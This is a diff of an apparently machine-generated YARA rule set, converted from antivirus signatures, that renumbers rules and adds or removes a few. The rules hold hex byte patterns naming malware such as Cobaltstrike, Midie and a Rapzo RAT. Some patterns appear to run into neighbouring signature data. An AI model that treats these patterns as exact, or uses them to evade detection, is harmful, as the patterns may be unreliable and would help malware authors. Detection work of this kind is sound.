1)*18467+(#a_01_1 & 1)*1+(#a_78_2 & 1)*0) >=7 } -rule _InfrastructureShared_7652{ +rule _InfrastructureShared_8096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -80618,7 +85356,7 @@ rule _InfrastructureShared_7652{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_78_2 & 1)*0) >=7 } -rule _InfrastructureShared_7653{ +rule _InfrastructureShared_8097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -80630,7 +85368,7 @@ rule _InfrastructureShared_7653{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*17454+(#a_01_2 & 1)*28422) >=8 } -rule _InfrastructureShared_7654{ +rule _InfrastructureShared_8098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -80640,7 +85378,7 @@ rule _InfrastructureShared_7654{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_7655{ +rule _InfrastructureShared_8099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -80650,7 +85388,7 @@ rule _InfrastructureShared_7655{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7656{ +rule _InfrastructureShared_8100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -80660,7 +85398,7 @@ rule _InfrastructureShared_7656{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_7657{ +rule _InfrastructureShared_8101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -80670,28 +85408,7 @@ rule _InfrastructureShared_7657{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_7658{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 50 47 4c 21 4d 54 42 00 0a 00 4d 03 17 1f 14 6f 90 01 01 00 00 0a 13 04 2b 29 11 04 1f 0a fe 02 13 06 11 06 2c 0c 07 08 66 5f 07 66 08 5f 60 0d 2b 16 11 05 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_7659{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 45 41 45 54 21 4d 54 42 00 05 00 2d 02 8b d0 8b d8 c1 ea 18 c1 eb 10 0f b6 d2 0f b6 92 ?? ?? ?? ?? 88 5c 24 11 8b d8 0f b6 c0 8a 80 ?? ?? ?? ?? 88 44 24 0f 33 c0 88 54 24 0c } //16675 - $a_01_1 = {01 d1 01 d0 c7 01 4d 4a 43 3b 01 d1 01 d0 c7 01 44 36 4f a1 01 d1 01 d0 89 ec } //5 - condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*5) >=10 - -} -rule _InfrastructureShared_7660{ +rule _InfrastructureShared_8102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -80702,7 +85419,7 @@ rule _InfrastructureShared_7660{ ((#a_4c_0 & 1)*21539+(#a_07_1 & 1)*7211) >=11 } -rule _InfrastructureShared_7661{ +rule _InfrastructureShared_8103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -80713,7 +85430,7 @@ rule _InfrastructureShared_7661{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-31606) >=11 } -rule _InfrastructureShared_7662{ +rule _InfrastructureShared_8104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 02 00 07 00 21 " @@ -80728,7 +85445,7 @@ rule _InfrastructureShared_7662{ ((#a_54_0 & 1)*18467+(#a_0c_2 & 1)*19457+(#a_01_3 & 1)*16835+(#a_65_4 & 1)*25972+(#a_20_5 & 1)*3416+(#a_79_6 & 1)*28500) >=2 } -rule _InfrastructureShared_7663{ +rule _InfrastructureShared_8105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -80741,7 +85458,7 @@ rule _InfrastructureShared_7663{ ((#a_5f_0 & 1)*16931+(#a_61_1 & 1)*28015+(#a_65_3 & 1)*31042+(#a_5d_4 & 1)*23297) >=12 } -rule _InfrastructureShared_7664{ +rule _InfrastructureShared_8106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -80754,7 +85471,7 @@ rule _InfrastructureShared_7664{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29811+(#a_6c_2 & 1)*25632+(#a_1f_3 & 1)*400) >=13 } -rule _InfrastructureShared_7665{ +rule _InfrastructureShared_8107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -80765,7 +85482,7 @@ rule _InfrastructureShared_7665{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25697) >=15 } -rule _InfrastructureShared_7666{ +rule _InfrastructureShared_8108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -80777,7 +85494,7 @@ rule _InfrastructureShared_7666{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4868+(#a_1b_2 & 1)*12) >=30 } -rule _InfrastructureShared_7667{ +rule _InfrastructureShared_8109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 04 00 21 " @@ -80790,7 +85507,7 @@ rule _InfrastructureShared_7667{ ((#a_4e_0 & 1)*20259+(#a_73_1 & 1)*26669+(#a_47_2 & 1)*14129+(#a_46_3 & 1)*16675) >=30 } -rule _InfrastructureShared_7668{ +rule _InfrastructureShared_8110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 21 " @@ -80802,7 +85519,7 @@ rule _InfrastructureShared_7668{ ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*13113+(#a_21_2 & 1)*8449) >=100 } -rule _InfrastructureShared_7669{ +rule _InfrastructureShared_8111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffcb 00 ffffffca 00 05 00 21 " @@ -80816,7 +85533,7 @@ rule _InfrastructureShared_7669{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*17153+(#a_a2_2 & 1)*400+(#a_25_3 & 1)*-28630+(#a_0c_4 & 1)*400) >=202 } -rule _InfrastructureShared_7670{ +rule _InfrastructureShared_8112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80826,7 +85543,7 @@ rule _InfrastructureShared_7670{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7671{ +rule _InfrastructureShared_8113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80836,7 +85553,7 @@ rule _InfrastructureShared_7671{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7672{ +rule _InfrastructureShared_8114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80846,7 +85563,7 @@ rule _InfrastructureShared_7672{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7673{ +rule _InfrastructureShared_8115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80856,7 +85573,7 @@ rule _InfrastructureShared_7673{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7674{ +rule _InfrastructureShared_8116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80866,7 +85583,7 @@ rule _InfrastructureShared_7674{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7675{ +rule _InfrastructureShared_8117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80876,7 +85593,7 @@ rule _InfrastructureShared_7675{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7676{ +rule _InfrastructureShared_8118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80886,7 +85603,7 @@ rule _InfrastructureShared_7676{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7677{ +rule _InfrastructureShared_8119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80896,7 +85613,7 @@ rule _InfrastructureShared_7677{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7678{ +rule _InfrastructureShared_8120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80906,7 +85623,7 @@ rule _InfrastructureShared_7678{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7679{ +rule _InfrastructureShared_8121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80916,7 +85633,7 @@ rule _InfrastructureShared_7679{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7680{ +rule _InfrastructureShared_8122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80926,7 +85643,7 @@ rule _InfrastructureShared_7680{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7681{ +rule _InfrastructureShared_8123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80936,7 +85653,7 @@ rule _InfrastructureShared_7681{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7682{ +rule _InfrastructureShared_8124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80946,7 +85663,7 @@ rule _InfrastructureShared_7682{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7683{ +rule _InfrastructureShared_8125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80956,7 +85673,7 @@ rule _InfrastructureShared_7683{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7684{ +rule _InfrastructureShared_8126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80966,7 +85683,7 @@ rule _InfrastructureShared_7684{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7685{ +rule _InfrastructureShared_8127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -80976,7 +85693,17 @@ rule _InfrastructureShared_7685{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7686{ +rule _InfrastructureShared_8128{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 50 59 43 21 4d 54 42 00 01 00 45 03 88 10 ff 45 90 01 01 43 8b 4d 90 01 01 8b 45 90 01 01 29 c8 39 c3 73 90 01 01 8b 75 90 01 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_8129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -80986,7 +85713,7 @@ rule _InfrastructureShared_7686{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7687{ +rule _InfrastructureShared_8130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -80997,7 +85724,7 @@ rule _InfrastructureShared_7687{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*400) >=1 } -rule _InfrastructureShared_7688{ +rule _InfrastructureShared_8131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -81008,7 +85735,7 @@ rule _InfrastructureShared_7688{ ((#a_54_0 & 1)*18467+(#a_7d_1 & 1)*30243) >=1 } -rule _InfrastructureShared_7689{ +rule _InfrastructureShared_8132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -81019,7 +85746,7 @@ rule _InfrastructureShared_7689{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*25966) >=1 } -rule _InfrastructureShared_7690{ +rule _InfrastructureShared_8133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -81030,7 +85757,7 @@ rule _InfrastructureShared_7690{ ((#a_46_0 & 1)*16675+(#a_42_2 & 1)*26978) >=1 } -rule _InfrastructureShared_7691{ +rule _InfrastructureShared_8134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -81042,7 +85769,7 @@ rule _InfrastructureShared_7691{ ((#a_54_0 & 1)*18467+(#a_c0_1 & 1)*-10497+(#a_00_2 & 1)*20488) >=1 } -rule _InfrastructureShared_7692{ +rule _InfrastructureShared_8135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -81054,7 +85781,7 @@ rule _InfrastructureShared_7692{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*4181+(#a_64_2 & 1)*11888) >=1 } -rule _InfrastructureShared_7693{ +rule _InfrastructureShared_8136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -81066,7 +85793,7 @@ rule _InfrastructureShared_7693{ ((#a_41_0 & 1)*20515+(#a_73_1 & 1)*25964+(#a_00_2 & 1)*2297) >=1 } -rule _InfrastructureShared_7694{ +rule _InfrastructureShared_8137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -81078,7 +85805,7 @@ rule _InfrastructureShared_7694{ ((#a_54_0 & 1)*18467+(#a_54_2 & 1)*25939+(#a_ff_3 & 1)*8267) >=1 } -rule _InfrastructureShared_7695{ +rule _InfrastructureShared_8138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -81091,7 +85818,7 @@ rule _InfrastructureShared_7695{ ((#a_54_0 & 1)*18467+(#a_51_1 & 1)*19341+(#a_46_2 & 1)*16675+(#a_11_3 & 1)*12) >=1 } -rule _InfrastructureShared_7696{ +rule _InfrastructureShared_8139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -81101,7 +85828,17 @@ rule _InfrastructureShared_7696{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7697{ +rule _InfrastructureShared_8140{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 50 4c 6f 67 67 65 72 2e 45 4e 5a 58 21 4d 54 42 00 02 00 49 03 00 06 7b 1c 00 00 04 09 23 00 00 00 00 00 00 00 40 90 01 05 09 6c 90 01 09 5a 02 6c 5b 90 01 05 5a 03 5a } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_8141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -81111,7 +85848,7 @@ rule _InfrastructureShared_7697{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_7698{ +rule _InfrastructureShared_8142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -81122,7 +85859,7 @@ rule _InfrastructureShared_7698{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-29368) >=2 } -rule _InfrastructureShared_7699{ +rule _InfrastructureShared_8143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -81133,7 +85870,7 @@ rule _InfrastructureShared_7699{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*18432) >=2 } -rule _InfrastructureShared_7700{ +rule _InfrastructureShared_8144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -81144,7 +85881,7 @@ rule _InfrastructureShared_7700{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*99) >=2 } -rule _InfrastructureShared_7701{ +rule _InfrastructureShared_8145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -81155,7 +85892,7 @@ rule _InfrastructureShared_7701{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*11529) >=2 } -rule _InfrastructureShared_7702{ +rule _InfrastructureShared_8146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -81165,7 +85902,7 @@ rule _InfrastructureShared_7702{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7703{ +rule _InfrastructureShared_8147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -81176,7 +85913,7 @@ rule _InfrastructureShared_7703{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*100) >=2 } -rule _InfrastructureShared_7704{ +rule _InfrastructureShared_8148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -81187,7 +85924,7 @@ rule _InfrastructureShared_7704{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*14641) >=2 } -rule _InfrastructureShared_7705{ +rule _InfrastructureShared_8149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -81198,7 +85935,7 @@ rule _InfrastructureShared_7705{ ((#a_46_0 & 1)*21283+(#a_c4_1 & 1)*-939) >=2 } -rule _InfrastructureShared_7706{ +rule _InfrastructureShared_8150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -81209,7 +85946,7 @@ rule _InfrastructureShared_7706{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*144) >=2 } -rule _InfrastructureShared_7707{ +rule _InfrastructureShared_8151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -81221,7 +85958,7 @@ rule _InfrastructureShared_7707{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*7168+(#a_73_2 & 1)*25708) >=2 } -rule _InfrastructureShared_7708{ +rule _InfrastructureShared_8152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -81231,7 +85968,7 @@ rule _InfrastructureShared_7708{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7709{ +rule _InfrastructureShared_8153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -81243,7 +85980,7 @@ rule _InfrastructureShared_7709{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*0+(#a_23_2 & 1)*3) >=2 } -rule _InfrastructureShared_7710{ +rule _InfrastructureShared_8154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -81255,7 +85992,7 @@ rule _InfrastructureShared_7710{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1479+(#a_76_2 & 1)*27694) >=2 } -rule _InfrastructureShared_7711{ +rule _InfrastructureShared_8155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -81267,7 +86004,7 @@ rule _InfrastructureShared_7711{ ((#a_77_0 & 1)*16675+(#a_2e_1 & 1)*24940+(#a_63_2 & 1)*30309) >=2 } -rule _InfrastructureShared_7712{ +rule _InfrastructureShared_8156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -81275,13 +86012,13 @@ rule _InfrastructureShared_7712{ $a_77_0 = {69 3a 48 53 54 52 3a 52 61 70 7a 6f 00 01 00 0a 01 73 65 74 5f 6b 62 48 6f 6f 6b 01 00 10 01 67 65 74 5f 57 65 62 63 61 6d 43 6c 69 65 6e 74 01 00 12 01 67 65 74 5f 53 65 6e 64 46 69 6c 65 43 6c 69 65 6e 74 01 00 13 01 43 6f 6d 6d 61 6e 64 50 72 6f 6d 70 74 50 61 63 6b 65 74 01 00 0b 01 67 65 74 5f 44 65 76 69 63 65 73 00 00 78 79 } //19491 $a_00_1 = {02 00 03 } //0 $a_56_2 = {72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 58 54 45 41 00 03 00 39 01 89 c6 89 } //8448 - $a_04_3 = {c1 ef 05 31 f7 01 c7 8b 74 24 2c 01 d6 31 fe 29 f3 81 ea b9 79 37 9e 89 de 89 df c1 e6 04 c1 ef 05 31 f7 01 df 8b 74 24 2c 01 d6 31 fe 29 f0 49 75 c7 01 00 06 01 81 ea b9 79 37 9e 01 00 06 01 c1 e6 04 c1 ef 05 00 00 78 79 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 64 69 65 2e 4e 53 21 4d 54 42 00 02 00 33 03 4d 29 fe 4c 39 f7 4d 89 f0 4c 0f 42 c7 48 89 d9 31 d2 e8 a4 fe ff ff 42 8d 0c fd 00 00 00 00 48 d3 e0 48 0b 46 90 01 01 48 89 46 90 01 01 49 39 fe 90 00 01 00 16 03 48 89 f1 e8 2e ff ff ff 48 8b 46 90 01 01 48 31 06 48 83 66 90 00 00 00 78 79 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 47 44 } //-15929 - $a_4e_4 = {74 77 6f 72 6b 5f 68 73 74 72 2e 41 21 64 68 61 00 01 00 0b 01 4e 65 74 77 6f 72 6b 2e 64 6c 6c 01 00 0e 01 50 72 6f 67 72 61 6d 53 74 61 72 74 75 70 01 00 1f 03 8b 45 18 89 41 0c 8b 45 10 c7 00 90 01 04 c7 40 04 90 01 04 c7 40 08 90 01 04 c7 40 0c 90 00 00 00 78 79 00 00 03 00 03 00 } //25697 + $a_04_3 = {c1 ef 05 31 f7 01 c7 8b 74 24 2c 01 d6 31 fe 29 f3 81 ea b9 79 37 9e 89 de 89 df c1 e6 04 c1 ef 05 31 f7 01 df 8b 74 24 2c 01 d6 31 fe 29 f0 49 75 c7 01 00 06 01 81 ea b9 79 37 9e 01 00 06 01 c1 e6 04 c1 ef 05 00 00 78 79 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 47 44 61 64 5f 4e 65 74 77 6f 72 6b 5f 68 73 74 72 2e 41 21 64 68 61 00 01 00 0b 01 4e 65 74 77 6f 72 6b 2e 64 6c 6c 01 00 0e 01 50 72 6f 67 72 61 6d 53 74 61 72 74 75 70 01 00 1f 03 8b 45 18 89 41 0c 8b 45 10 c7 00 90 01 04 c7 40 04 90 01 04 c7 40 08 90 01 04 c7 40 0c 90 00 00 00 78 79 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e } //-15929 + $a_45_4 = {69 74 65 64 44 72 65 61 6d 2e 42 21 64 68 61 00 01 00 13 01 5b 2d 5d 20 25 73 3a 25 73 28 29 3a 25 64 3a 25 64 0d 0a 01 00 13 01 5b 69 5d 20 } //12851 condition: - ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*0+(#a_56_2 & 1)*8448+(#a_04_3 & 1)*-15929+(#a_4e_4 & 1)*25697) >=2 + ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*0+(#a_56_2 & 1)*8448+(#a_04_3 & 1)*-15929+(#a_45_4 & 1)*12851) >=2 } -rule _InfrastructureShared_7713{ +rule _InfrastructureShared_8157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 03 00 21 " @@ -81291,18 +86028,7 @@ rule _InfrastructureShared_7713{ ((#a_72_0 & 1)*22051) >=2 } -rule _InfrastructureShared_7714{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 64 69 65 2e 4e 53 21 4d 54 42 00 02 00 33 03 4d 29 fe 4c 39 f7 4d 89 f0 4c 0f 42 c7 48 89 d9 31 d2 e8 a4 fe ff ff 42 8d 0c fd 00 00 00 00 48 d3 e0 48 0b 46 90 01 01 48 89 46 90 01 01 } //16675 - $a_90_1 = {01 00 16 03 48 89 f1 e8 2e ff ff ff 48 8b 46 90 01 01 48 31 06 48 83 66 90 00 00 00 78 79 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 47 44 61 64 5f 4e 65 74 77 6f 72 6b 5f 68 73 74 72 2e 41 21 64 68 61 00 01 00 0b 01 4e 65 74 77 6f 72 6b 2e 64 6c 6c 01 00 0e 01 50 72 6f 67 72 61 6d 53 74 61 72 74 75 70 01 00 1f 03 8b 45 18 89 41 0c 8b 45 10 c7 00 90 01 04 c7 40 04 90 01 04 c7 40 08 90 01 04 c7 40 0c 90 00 00 00 78 79 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 45 64 69 74 65 64 44 72 65 61 6d 2e 42 21 64 68 61 00 01 00 13 01 5b 2d 5d 20 25 73 3a 25 73 28 29 3a 25 64 3a 25 64 0d 0a 01 00 13 01 5b 69 5d 20 25 73 3a 25 73 28 29 3a 25 64 3a 25 73 0d 0a 01 } //14665 - condition: - ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*14665) >=3 - -} -rule _InfrastructureShared_7715{ +rule _InfrastructureShared_8158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -81313,7 +86039,7 @@ rule _InfrastructureShared_7715{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*17803) >=3 } -rule _InfrastructureShared_7716{ +rule _InfrastructureShared_8159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -81325,7 +86051,7 @@ rule _InfrastructureShared_7716{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*9530+(#a_73_2 & 1)*0) >=3 } -rule _InfrastructureShared_7717{ +rule _InfrastructureShared_8160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -81336,7 +86062,7 @@ rule _InfrastructureShared_7717{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29797) >=3 } -rule _InfrastructureShared_7718{ +rule _InfrastructureShared_8161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -81348,7 +86074,7 @@ rule _InfrastructureShared_7718{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_01_2 & 1)*25712) >=3 } -rule _InfrastructureShared_7719{ +rule _InfrastructureShared_8162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -81360,7 +86086,7 @@ rule _InfrastructureShared_7719{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*1+(#a_72_2 & 1)*21280) >=3 } -rule _InfrastructureShared_7720{ +rule _InfrastructureShared_8163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -81372,7 +86098,7 @@ rule _InfrastructureShared_7720{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*25955+(#a_4c_2 & 1)*21539) >=3 } -rule _InfrastructureShared_7721{ +rule _InfrastructureShared_8164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 